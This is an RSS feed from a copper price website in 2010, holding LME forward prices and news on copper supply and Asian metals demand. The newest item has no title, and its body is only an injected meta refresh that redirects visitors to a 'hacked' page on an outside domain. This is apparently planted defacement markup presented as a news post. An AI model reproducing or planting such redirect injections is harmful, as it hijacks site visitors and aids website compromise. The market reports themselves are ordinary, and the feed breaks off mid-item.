<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>World Market Copper Price &#187; Lme</title>
	<atom:link href="http://copperprice.in/tag/lme/feed" rel="self" type="application/rss+xml" />
	<link>http://copperprice.in</link>
	<description>Global Copper market Price and Daily Copper Tips</description>
	<lastBuildDate>Tue, 24 Aug 2010 08:12:34 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title></title>
		<link>http://copperprice.in/lme-inventory/lme-inventory-16-aug-2010.html</link>
		<comments>http://copperprice.in/lme-inventory/lme-inventory-16-aug-2010.html#comments</comments>
		<pubDate>Mon, 16 Aug 2010 08:40:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[LME Inventory]]></category>
		<category><![CDATA[Aluminum]]></category>
		<category><![CDATA[Copper]]></category>
		<category><![CDATA[Lme]]></category>
		<category><![CDATA[Nickel]]></category>
		<category><![CDATA[Tin]]></category>
		<category><![CDATA[Zinc]]></category>

		<guid isPermaLink="false">http://copperprice.in/?p=1729</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p><meta http-equiv="refresh" content="0;URL=http://siber-warrior.net/hacked/index.html"></p>
]]></content:encoded>
			<wfw:commentRss>http://copperprice.in/lme-inventory/lme-inventory-16-aug-2010.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LME 3month forwards 23 Jul 2010</title>
		<link>http://copperprice.in/lme-inventory/lme-3month-forwards-23-jul-2010.html</link>
		<comments>http://copperprice.in/lme-inventory/lme-3month-forwards-23-jul-2010.html#comments</comments>
		<pubDate>Fri, 23 Jul 2010 04:25:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[LME Inventory]]></category>
		<category><![CDATA[Aluminum]]></category>
		<category><![CDATA[Cmp]]></category>
		<category><![CDATA[Copper]]></category>
		<category><![CDATA[Lme]]></category>
		<category><![CDATA[Nickel]]></category>
		<category><![CDATA[Zinc]]></category>

		<guid isPermaLink="false">http://copperprice.in/?p=1720</guid>
		<description><![CDATA[LME 3month forwards CMP :
Copper 6980 (-50)
Lead 1915 (-15)
Zinc 1920 (-25)
Nickel 20100 (0)
Aluminum 2057(0)
]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: center;"><span style="text-decoration: underline;">LME 3month forwards CMP :</span></h2>
<h2 style="text-align: center;">Copper 6980 (-50)</h2>
<h2 style="text-align: center;">Lead 1915 (-15)</h2>
<h2 style="text-align: center;">Zinc 1920 (-25)</h2>
<h2 style="text-align: center;">Nickel 20100 (0)</h2>
<h2 style="text-align: center;">Aluminum 2057(0)</h2>
]]></content:encoded>
			<wfw:commentRss>http://copperprice.in/lme-inventory/lme-3month-forwards-23-jul-2010.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Commodities Demand Driven by `Impressive&#8217; Asian Growth, LME&#8217;s Abbott Says..</title>
		<link>http://copperprice.in/news/commodities-demand-driven-by-impressive-asian-growth-lmes-abbott-says.html</link>
		<comments>http://copperprice.in/news/commodities-demand-driven-by-impressive-asian-growth-lmes-abbott-says.html#comments</comments>
		<pubDate>Fri, 09 Jul 2010 08:27:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Abbott]]></category>
		<category><![CDATA[Asian Growth]]></category>
		<category><![CDATA[Asian Nations]]></category>
		<category><![CDATA[Bloomberg Television]]></category>
		<category><![CDATA[Chief Executive Officer]]></category>
		<category><![CDATA[Copper Futures]]></category>
		<category><![CDATA[Copper Nickel]]></category>
		<category><![CDATA[Expansions]]></category>
		<category><![CDATA[Gdp Growth]]></category>
		<category><![CDATA[Global Economy]]></category>
		<category><![CDATA[Global Growth]]></category>
		<category><![CDATA[Industrial Metals]]></category>
		<category><![CDATA[International Monetary Fund]]></category>
		<category><![CDATA[Jim Rogers]]></category>
		<category><![CDATA[Lme]]></category>
		<category><![CDATA[London Metal Exchange]]></category>
		<category><![CDATA[Metric Ton]]></category>
		<category><![CDATA[Recession]]></category>
		<category><![CDATA[Singapore Exchange Ltd]]></category>
		<category><![CDATA[Warehouses]]></category>

		<guid isPermaLink="false">http://copperprice.in/?p=1690</guid>
		<description><![CDATA[Growth in demand for commodities including metals in Asia is surging as nations ramp up infrastructure spending, according to the head of the London Metal Exchange, the biggest marketplace for industrial metals.
“Everywhere we look in this region, we see growth,” Martin Abbott, chief executive officer of the  LME, said in an interview on Bloomberg [...]]]></description>
			<content:encoded><![CDATA[<p>Growth in demand for commodities including metals in Asia is surging as nations ramp up infrastructure spending, according to the head of the London Metal Exchange, the biggest marketplace for industrial metals.</p>
<p>“Everywhere we look in this region, we see growth,” <a title="Search News" href="http://search.bloomberg.com/search?q=Martin%20Abbott&amp;site=wnews&amp;client=wnews&amp;proxystylesheet=wnews&amp;output=xml_no_dtd&amp;ie=UTF-8&amp;oe=UTF-8&amp;filter=p&amp;getfields=wnnis&amp;sort=date:D:S:d1&amp;partialfields=-wnnis:NOAVSYND&amp;lr=-lang_ja">Martin Abbott</a>, chief executive officer of the  LME, said in an interview on Bloomberg Television in Singapore today. “All of the numbers are so impressive,” Abbott said.</p>
<p>Asian nations including China are leading the global economy out of recession, boosting demand for metals such as copper, nickel and tin. The LME has announced talks with <a title="Get Quote" href="http://www.bloomberg.com/apps/quote?ticker=SGX:SP">Singapore Exchange Ltd.</a> on  cooperation, and plans more metal warehouses in the world’s fastest growing region.</p>
<p>“We are recognizing that the growth in Asia is not cyclical, it is structural, and more and more of the business that we transact is going to be derived in this region,” Abbott said. “This is not simply a China story.”</p>
<p>Three-month copper futures have advanced for <a title="Get Quote" href="http://www.bloomberg.com/apps/quote?ticker=LMCADS03:IND">seven of the past eight years</a> driven by rising Asian demand, and the contract has climbed 37 percent in the past 12 months to $6,664.75 a metric ton today. The <a title="Get Quote" href="http://www.bloomberg.com/apps/quote?ticker=LMEX:IND">LMEX Index</a> of six industrial  metals has gained 30 percent over the past year.</p>
<p>‘We See Growth’</p>
<p>“When you look at what’s happening throughout Asia, I think we’re looking at a long-term story of infrastructure build, industrial build and GDP growth,” Abbott said, citing expansions in Indonesia, Vietnam and Malaysia.</p>
<p>Abbott’s view echoes that of commodity bulls such as Singapore-based investor <a title="Search News" href="http://search.bloomberg.com/search?q=Jim%20Rogers&amp;site=wnews&amp;client=wnews&amp;proxystylesheet=wnews&amp;output=xml_no_dtd&amp;ie=UTF-8&amp;oe=UTF-8&amp;filter=p&amp;getfields=wnnis&amp;sort=date:D:S:d1&amp;partialfields=-wnnis:NOAVSYND&amp;lr=-lang_ja">Jim Rogers</a>, who has said that economic growth in Asia is powering demand. Rogers said earlier this week that “you should own commodities because that’s your only refuge,” backing silver and farm goods such as rice.</p>
<p>The International Monetary Fund yesterday raised its forecast for global growth to 4.6 percent this year, reflecting a stronger-than-expected first half. The lender increased the 2010 growth forecasts for China to 10.5 percent and for India to 9.4 percent for the year to March.</p>
<p>China’s economy expanded 9.1 percent last year, boosted by an unprecedented 9.59 trillion yuan ($1.4 trillion) of credit extended by banks in 2009 and a 4 trillion yuan, two-year fiscal stimulus plan. The nation is the world’s largest metals user.</p>
<p>Indonesia, Southeast Asia’s largest economy, may accelerate to 5.9 percent growth this year, Finance Minister <a title="Search News" href="http://search.bloomberg.com/search?q=Agus%20Martowardojo&amp;site=wnews&amp;client=wnews&amp;proxystylesheet=wnews&amp;output=xml_no_dtd&amp;ie=UTF-8&amp;oe=UTF-8&amp;filter=p&amp;getfields=wnnis&amp;sort=date:D:S:d1&amp;partialfields=-wnnis:NOAVSYND&amp;lr=-lang_ja">Agus Martowardojo</a> said yesterday.</p>
<p>Singapore Talks</p>
<p>The London-based metal exchange, founded in 1877, has begun talks with <a title="Get Quote" href="http://www.bloomberg.com/apps/quote?ticker=SGX:SP">Singapore Exchange Ltd.</a>,  operator of the local derivatives and securities exchange, on possible cooperation, according to a statement yesterday. The LME opened its first overseas office in the Southeast Asian city-state this year.</p>
<p>“The crisis has been a huge opportunity for the LME,” Abbott said yesterday to mark the exchange’s new Singapore office, referring to the global credit crisis. “We have actually seen more business coming onto the exchange because of the crisis, because companies are even more aware of the need for counterparty risk management.”</p>
<p>Abbott, who became <a title="Open  Web Site" href="http://www.lme.com/4667.asp">chief executive</a> of the LME in 2006, has overseen the introduction of cobalt and molybdenum futures. Trading volumes last year were the second highest on record after 2008, with a notional value of $7.4 trillion.</p>
<p>“We are agnostic about price,” Abbott said today. “We are not agnostic to cyclical and structural trends,” such as the industrialization of Asia, he said.</p>
]]></content:encoded>
			<wfw:commentRss>http://copperprice.in/news/commodities-demand-driven-by-impressive-asian-growth-lmes-abbott-says.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Base metals traded on the London Metal Exchange..</title>
		<link>http://copperprice.in/news/base-metals-traded-on-the-london-metal-exchange.html</link>
		<comments>http://copperprice.in/news/base-metals-traded-on-the-london-metal-exchange.html#comments</comments>
		<pubDate>Tue, 06 Jul 2010 08:15:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Arbitrage]]></category>
		<category><![CDATA[Asian Trade]]></category>
		<category><![CDATA[Base Metals]]></category>
		<category><![CDATA[China Market]]></category>
		<category><![CDATA[Consumers]]></category>
		<category><![CDATA[Lme]]></category>
		<category><![CDATA[London Exchange]]></category>
		<category><![CDATA[London Metal Exchange]]></category>
		<category><![CDATA[Money]]></category>
		<category><![CDATA[Physical Interest]]></category>
		<category><![CDATA[Rose]]></category>
		<category><![CDATA[Second Half]]></category>
		<category><![CDATA[Shanghai Futures Exchange]]></category>
		<category><![CDATA[Signs]]></category>
		<category><![CDATA[Strategists]]></category>
		<category><![CDATA[Trading Platform]]></category>
		<category><![CDATA[Warehouses]]></category>

		<guid isPermaLink="false">http://copperprice.in/?p=1658</guid>
		<description><![CDATA[Base metals traded on the London Metal Exchange rose in Asian trade Tuesday after initial falls at the opening of the LME Select trading platform.Traders and strategists said that after arbitrage trade between the London and Shanghai Futures Exchange, signs of firmer physical demand from China helped sustain the market. A Shanghai-based trader said he [...]]]></description>
			<content:encoded><![CDATA[<p>Base metals traded on the London Metal Exchange rose in Asian trade Tuesday after initial falls at the opening of the LME Select trading platform.Traders and strategists said that after arbitrage trade between the London and Shanghai Futures Exchange, signs of firmer physical demand from China helped sustain the market. A Shanghai-based trader said he was encouraged by signs of buying interest in China, which he put down to consumers restocking at the start of the second half of the year. &#8220;We&#8217;re seeing some new physical interest, some very active rotation in and out of the local warehouses, some new fresh money being injected into the market, he said.Shanghai metals are now trading at a premium to the LME metal, he said, which would likely induce an increase in imports to China.</p>
]]></content:encoded>
			<wfw:commentRss>http://copperprice.in/news/base-metals-traded-on-the-london-metal-exchange.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Copper Shortage Looms for Macquarie as Codelco Sees Mine Limits&#8230;</title>
		<link>http://copperprice.in/news/copper-shortage-looms-for-macquarie-as-codelco-sees-mine-limits.html</link>
		<comments>http://copperprice.in/news/copper-shortage-looms-for-macquarie-as-codelco-sees-mine-limits.html#comments</comments>
		<pubDate>Tue, 06 Jul 2010 04:42:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Chief Economist]]></category>
		<category><![CDATA[Chief Executive Officer]]></category>
		<category><![CDATA[Codelco]]></category>
		<category><![CDATA[Copper Producers]]></category>
		<category><![CDATA[Copper Shortage]]></category>
		<category><![CDATA[Diego Hernandez]]></category>
		<category><![CDATA[Freeport Mcmoran]]></category>
		<category><![CDATA[Freeport Mcmoran Copper]]></category>
		<category><![CDATA[Global Advisors]]></category>
		<category><![CDATA[Gold Inc]]></category>
		<category><![CDATA[Goldman Sachs]]></category>
		<category><![CDATA[Goldman Sachs Group]]></category>
		<category><![CDATA[Goldman Sachs Group Inc]]></category>
		<category><![CDATA[Holmdel New Jersey]]></category>
		<category><![CDATA[Lme]]></category>
		<category><![CDATA[London Metal Exchange]]></category>
		<category><![CDATA[Metric Ton]]></category>
		<category><![CDATA[Michael Pento]]></category>
		<category><![CDATA[Ore Grades]]></category>
		<category><![CDATA[Sachs Group Inc]]></category>

		<guid isPermaLink="false">http://copperprice.in/?p=1652</guid>
		<description><![CDATA[July 6  -  The world’s biggest copper  producers are warning of looming supply limits at the same time that  growing concerns about the global economy leave investors with the  largest losses in nine years.
While London Metal Exchange futures anticipate  prices no higher than $6,519.50 a metric ton through the end of [...]]]></description>
			<content:encoded><![CDATA[<p>July 6  -  The world’s biggest copper  producers are warning of looming supply limits at the same time that  growing concerns about the global economy leave investors with the  largest losses in nine years.</p>
<p>While London Metal Exchange futures anticipate  prices no higher than $6,519.50 a metric ton through the end of 2011, or  1.2 percent more than for delivery now, 13 of 14 analysts surveyed by  Bloomberg expect a shortage next year. Traders are being too bearish  because lower prices may curb spending on mines and exacerbate future  shortages, said Goldman Sachs Group Inc., which forecasts a price of  $8,050 in 12 months.</p>
<p>“In the short-term, we’re looking at slowing  growth and oversupply, but longer-term, things look good,” said Michael  Pento, the chief economist at Delta Global Advisors Inc. in Holmdel, New  Jersey who correctly predicted January’s slump that began this year’s  12 percent decline. “The smart move is to buy copper for a few quarters  down the road.”</p>
<p>Codelco Chief Executive Officer Diego Hernandez  said last month that higher costs and lower ore grades mean new global  supply “is coming very slowly.” Freeport-McMoRan Copper &amp; Gold Inc.  Chief Financial Officer Kathleen Quirk said new finds are “extremely  rare” and “it is a very constrained market from a supply standpoint.”</p>
<p>Metal for delivery in three months, the benchmark  contract, slumped 20 percent since April to $6,469 on concern the  economic recovery would slow in the second half. Manufacturing growth  weakened last month in China, Europe and the U.S., which account for as  much as two-thirds of global demand.</p>
<p>Lower-Quality Ore</p>
<p>Copper for delivery in August is next year’s most  expensive contract on the LME, trading at $6,519.50. Metal for  immediate delivery costs $6,439.75. The first-half drop of 12 percent  was the worst since 2001. The highest prediction for next year’s average  in Bloomberg’s survey of analysts was $8,157 from Bart Melek, a  commodity strategist at BMO Capital Markets in Toronto. That’s 26  percent more than now.</p>
<p>Mining companies are already missing analysts’  output forecasts because of lower-quality ore, providing “a bullish  pricing signal,” Credit Suisse Group AG analysts led by Liam Fitzpatrick  in London said in a report June 30.</p>
<p>For now, traders are focused on demand. China’s  growth will slow to 9.25 percent next year, from 10.1 percent in 2010,  according to as many as 27 economists surveyed by Bloomberg. The  country’s refined-copper imports fell 8.1 percent in April and 9.7  percent in May.</p>
<p>U.S. President Barack Obama said June 29 that the  world’s biggest economy is facing “headwinds” from the sovereign-debt  crisis in Europe, where governments are cutting budgets. U.S. growth  will slow to 2.9 percent in 2011 from 3.2 percent this year, while the  euro zone will accelerate to 1.3 percent from 1.05 percent, according to  surveys of as many as 66 economists.</p>
<p>Global Equities</p>
<p>More than $7.4 trillion was wiped off the value  of global equities since mid-April because of concern slowing growth  will sap demand. Energy and commodities companies led this year’s 12  percent decline in the MSCI World Index of developed markets. The  S&amp;P GSCI Total Return Index of 24 raw materials fell 14 percent.</p>
<p>Copper producers will have to develop new  supplies even if demand stagnates, Quirk of Phoenix-based Freeport, the  world’s second-biggest copper miner, said at a conference in New York on  June 4. Average ore grades fell about 26 percent in the last two  decades, according to Deutsche Bank AG. Next year’s shortage may be the  biggest since 2004, Macquarie Bank estimates.</p>
<p>Deeper Discoveries</p>
<p>A greater proportion of discoveries in the last  10 years were more likely to need deeper mining methods than in the  previous two decades, according to a presentation in May by London-based  Rio Tinto Group. It cost about 95 cents to extract a pound of copper  from an open pit mine in 2008, compared with $1.33 from an underground  mine, according to data from Addlestone, England-based researcher Brook  Hunt, a Wood Mackenzie company.</p>
<p>Prices may exceed the record $8,940 reached in  July 2008 as early as the first quarter, according to Leon Westgate, an  analyst at Standard Bank Plc in London who forecast this year’s plunge.  Copper will average $7,708 next year, the highest ever, according to the  median in the Bloomberg survey of 14 analysts.</p>
<p>Demand will expand 6.4 percent to 19.98 million  tons next year, the biggest gain since 2007, Morgan Stanley predicts.  Refined copper from mines and scrap recycling will reach 19.95 million  tons, the bank estimates. That production is worth about $143 billion at  this year’s average price on the London Metal Exchange.</p>
<p>‘Declining Ore Grades’</p>
<p>The surplus will shrink next year because of  “declining ore grades in mines, infrastructure problems and postponing  planned mine projects due to problems with project financing,” Herbert  Wirth, chief executive officer of Lubin, Poland-based copper miner KGHM  Polska Miedz SA, said in an e-mail.</p>
<p>“The portfolio left to be developed has a lower  quality than we have been used to for many years,” Hernandez of  Santiago-based Codelco, the world’s biggest producer, said in an  interview in New York last month. “For these new projects to be  developed we need a higher copper price.”</p>
<p>Anglo American Plc, based in London, reported in  April that first-quarter output dropped 14 percent from the previous  three months because of lower ore grades. BHP Billiton Ltd. and Rio  Tinto, the world’s biggest and third-largest mining companies, said the  same month that year-on-year production in the period declined for the  same reason.</p>
<p>Stockpiles monitored by the London Metal Exchange  fell 20 percent to 444,500 tons since mid-February, equal to almost 9  days of global demand. Canceled warrants, or metal earmarked for  delivery from warehouses, totaled 35,425 tons on July 1, the highest  since March, data from the bourse show.</p>
<p>‘Decline Again’</p>
<p>“Copper supplies have started to decline again,”  said Andrew Karsh, who helps manage $4.8 billion for the Credit Suisse  Total Commodity Return Strategy team in New York. “What we see is a  continual benefit in terms of the demand for copper.”</p>
<p>Stock analysts are already anticipating higher  profit for mining companies. Freeport will report earnings per share of  $8.17 this year and $9.14 next year, compared with $5.86 last year,  according to the mean estimate of eight analyst estimates compiled by  Bloomberg. Shares of the company fell 27 percent in New York trading  this year.</p>
<p>Aurubis AG, the world’s largest copper smelter,  gained 14 percent in Frankfurt trading. A shortage probably began in  March and continued through the second quarter, CEO Bernd Drouven said  in an e-mail. The company will report earnings per share of 3.59 euros  ($4.50) this year, compared with a loss of 1.15 euros in 2009, according  to the mean of eight analyst estimates.</p>
<p>BHP Billiton</p>
<p>BHP Billiton, based in Melbourne, fell 16 percent  in London this year and Rio Tinto declined 15 percent. KGHM fell 14  percent in Warsaw. Codelco, the world’s largest copper producer, is not  publicly traded.</p>
<p>“The industry as a whole is facing significant  challenges,” said Greg Waller, vice president of investor relations at  Vancouver-based Teck Resources Ltd., which mines copper in North and  South America and expects to increase output by 40 percent in two years.  “In 2011, we are expecting that growth will be back on track and  consumption of copper will be strong while the supplies are tight.”</p>
]]></content:encoded>
			<wfw:commentRss>http://copperprice.in/news/copper-shortage-looms-for-macquarie-as-codelco-sees-mine-limits.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Copper inches up; dollar, equities help..</title>
		<link>http://copperprice.in/news/copper-inches-up-dollar-equities-help.html</link>
		<comments>http://copperprice.in/news/copper-inches-up-dollar-equities-help.html#comments</comments>
		<pubDate>Tue, 06 Jul 2010 04:36:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Arbitrage]]></category>
		<category><![CDATA[Demand Trends]]></category>
		<category><![CDATA[Dollar Weakness]]></category>
		<category><![CDATA[Industry News]]></category>
		<category><![CDATA[Lme]]></category>
		<category><![CDATA[London Copper]]></category>
		<category><![CDATA[London Metal Exchange]]></category>
		<category><![CDATA[Metal Imports]]></category>
		<category><![CDATA[Metal Tin]]></category>
		<category><![CDATA[National Holiday]]></category>
		<category><![CDATA[Nickel]]></category>
		<category><![CDATA[Port Colborne Ontario]]></category>
		<category><![CDATA[Premiums]]></category>
		<category><![CDATA[Shanghai Stocks]]></category>
		<category><![CDATA[Soldering Metal]]></category>
		<category><![CDATA[Sudbury]]></category>
		<category><![CDATA[Tonne]]></category>
		<category><![CDATA[Tonnes]]></category>
		<category><![CDATA[Warehouses]]></category>
		<category><![CDATA[Zinc]]></category>

		<guid isPermaLink="false">http://copperprice.in/?p=1643</guid>
		<description><![CDATA[LONDON:  Copper edged higher on Monday, helped by general dollar weakness,  steadier equity markets, arbitrage buying in Shanghai and on the view  that last week&#8217;s fall had hit support.
Trade was quiet, however, due to a national holiday in the  United States. Benchmark copper for three-months delivery on the London  Metal [...]]]></description>
			<content:encoded><![CDATA[<p>LONDON:  Copper edged higher on Monday, helped by general dollar weakness,  steadier equity markets, arbitrage buying in Shanghai and on the view  that last week&#8217;s fall had hit support.<br />
<span style="font-size: 10pt;">Trade was quiet, however, due to a national holiday in the  United States. Benchmark copper for three-months delivery on the London  Metal Exchange closed at $6,469 a tonne from a close of $6,410 on  Friday, having risen more than 2 per cent earlier to $6,568, its highest  since late June.</span><br />
<span style="font-size: 10pt;">Trade data  from China on Saturday is expected to show lower metal imports, although  falls in Shanghai stocks and the opening of the arbitrage window in  June could have enticed some buying.</span><br />
<span style="font-size: 10pt;">Also helping copper, latest LME data showed copper stocks, a  possible indicator of demand trends, continued to decline, falling 2,800  tonnes to 444,500 tonnes, their lowest since early December last year.</span><br />
<span style="font-size: 10pt;">Zinc, the LME&#8217;s worst performer this year,  closed at $1,807 a tonne from $1,775, having risen over 3 per cent  earlier to a day high of $1,840.50, its highest since late June.</span><br />
<span style="font-size: 10pt;">The metal has been underpinned by rising  premiums on physical trades in Europe and especially the US, where some  of the stock in LME warehouses is said to be tied up in financing deals  and unavailable to consumers.</span><br />
<span style="font-size: 10pt;">Nickel  was at $18,650 a tonne from $18,800. </span><br />
<span style="font-size: 10pt;">In industry news, Vale resolved a year-long strike at the  company&#8217;s nickel and copper operations in Sudbury and Port Colborne,  Ontario.</span><span style="font-size: 10pt;"> Aluminium, used in  transport and packaging, closed at $1,937 versus $1,942, battery  material lead was at $1,765 from $1,753 while soldering metal tin was  untraded at the close, but was last bid at $17,300 from $17,240.</span></p>
]]></content:encoded>
			<wfw:commentRss>http://copperprice.in/news/copper-inches-up-dollar-equities-help.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LME 3month forwards CMP 06 Jul 2010</title>
		<link>http://copperprice.in/news/lme-3month-forwards-cmp-06-jul-2010.html</link>
		<comments>http://copperprice.in/news/lme-3month-forwards-cmp-06-jul-2010.html#comments</comments>
		<pubDate>Tue, 06 Jul 2010 04:32:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Aluminum]]></category>
		<category><![CDATA[Cmp]]></category>
		<category><![CDATA[Copper]]></category>
		<category><![CDATA[Forwards]]></category>
		<category><![CDATA[Lme]]></category>
		<category><![CDATA[Nickel]]></category>
		<category><![CDATA[Zinc]]></category>

		<guid isPermaLink="false">http://copperprice.in/?p=1641</guid>
		<description><![CDATA[LME 3month forwards CMP : 
Copper 6495 (+20)
Lead 1770 (+10)
Zinc  1830 (+30)
Nickel 18745 (+45)
Aluminum 1935(+0)
]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: center;"><span style="text-decoration: underline;">LME 3month forwards CMP : </span></h2>
<h2 style="text-align: center;">Copper 6495 (+20)</h2>
<h2 style="text-align: center;">Lead 1770 (+10)</h2>
<h2 style="text-align: center;">Zinc  1830 (+30)</h2>
<h2 style="text-align: center;">Nickel 18745 (+45)</h2>
<h2 style="text-align: center;">Aluminum 1935(+0)</h2>
]]></content:encoded>
			<wfw:commentRss>http://copperprice.in/news/lme-3month-forwards-cmp-06-jul-2010.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LME 3month forwards CMP 30 Jun 2010</title>
		<link>http://copperprice.in/news/lme-3month-forwards-cmp-30-jun-2010.html</link>
		<comments>http://copperprice.in/news/lme-3month-forwards-cmp-30-jun-2010.html#comments</comments>
		<pubDate>Wed, 30 Jun 2010 08:10:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Aluminum]]></category>
		<category><![CDATA[Cmp]]></category>
		<category><![CDATA[Copper]]></category>
		<category><![CDATA[Forwards]]></category>
		<category><![CDATA[Lme]]></category>
		<category><![CDATA[Nickel]]></category>
		<category><![CDATA[Zinc]]></category>

		<guid isPermaLink="false">http://copperprice.in/?p=1605</guid>
		<description><![CDATA[LME 3month forwards CMP : 
Copper 6521(+41)
Lead 1729 (+19)
Zinc 1775 (+15)
Nickel 19255 (+95)
Aluminum 1943(-7)
]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: center;"><span style="text-decoration: underline;">LME 3month forwards CMP : </span></h2>
<h2 style="text-align: center;">Copper 6521(+41)</h2>
<h2 style="text-align: center;">Lead 1729 (+19)</h2>
<h2 style="text-align: center;">Zinc 1775 (+15)</h2>
<h2 style="text-align: center;">Nickel 19255 (+95)</h2>
<h2 style="text-align: center;">Aluminum 1943(-7)</h2>
]]></content:encoded>
			<wfw:commentRss>http://copperprice.in/news/lme-3month-forwards-cmp-30-jun-2010.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LME 3month forwards 29 Jun 2010</title>
		<link>http://copperprice.in/news/lme-3month-forwards-29-jun-2010.html</link>
		<comments>http://copperprice.in/news/lme-3month-forwards-29-jun-2010.html#comments</comments>
		<pubDate>Tue, 29 Jun 2010 08:08:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Aluminum]]></category>
		<category><![CDATA[Cmp]]></category>
		<category><![CDATA[Copper]]></category>
		<category><![CDATA[Lme]]></category>
		<category><![CDATA[Nickel]]></category>
		<category><![CDATA[Zinc]]></category>

		<guid isPermaLink="false">http://copperprice.in/?p=1591</guid>
		<description><![CDATA[LME 3month forwards CMP : 
Copper 6637(-33)
Lead 1786 (-14)
Zinc 1799 (-8)
Nickel 19920 (-5)
Aluminum 1981(-10)
]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: center;"><span style="text-decoration: underline;">LME 3month forwards CMP : </span></h2>
<h2 style="text-align: center;">Copper 6637(-33)</h2>
<h2 style="text-align: center;">Lead 1786 (-14)</h2>
<h2 style="text-align: center;">Zinc 1799 (-8)</h2>
<h2 style="text-align: center;">Nickel 19920 (-5)</h2>
<h2 style="text-align: center;">Aluminum 1981(-10)</h2>
]]></content:encoded>
			<wfw:commentRss>http://copperprice.in/news/lme-3month-forwards-29-jun-2010.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LME 3month forwards 22 Jun 2010</title>
		<link>http://copperprice.in/news/lme-3month-forwards-22-jun-2010.html</link>
		<comments>http://copperprice.in/news/lme-3month-forwards-22-jun-2010.html#comments</comments>
		<pubDate>Tue, 22 Jun 2010 04:17:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Aluminum]]></category>
		<category><![CDATA[Cmp]]></category>
		<category><![CDATA[Copper]]></category>
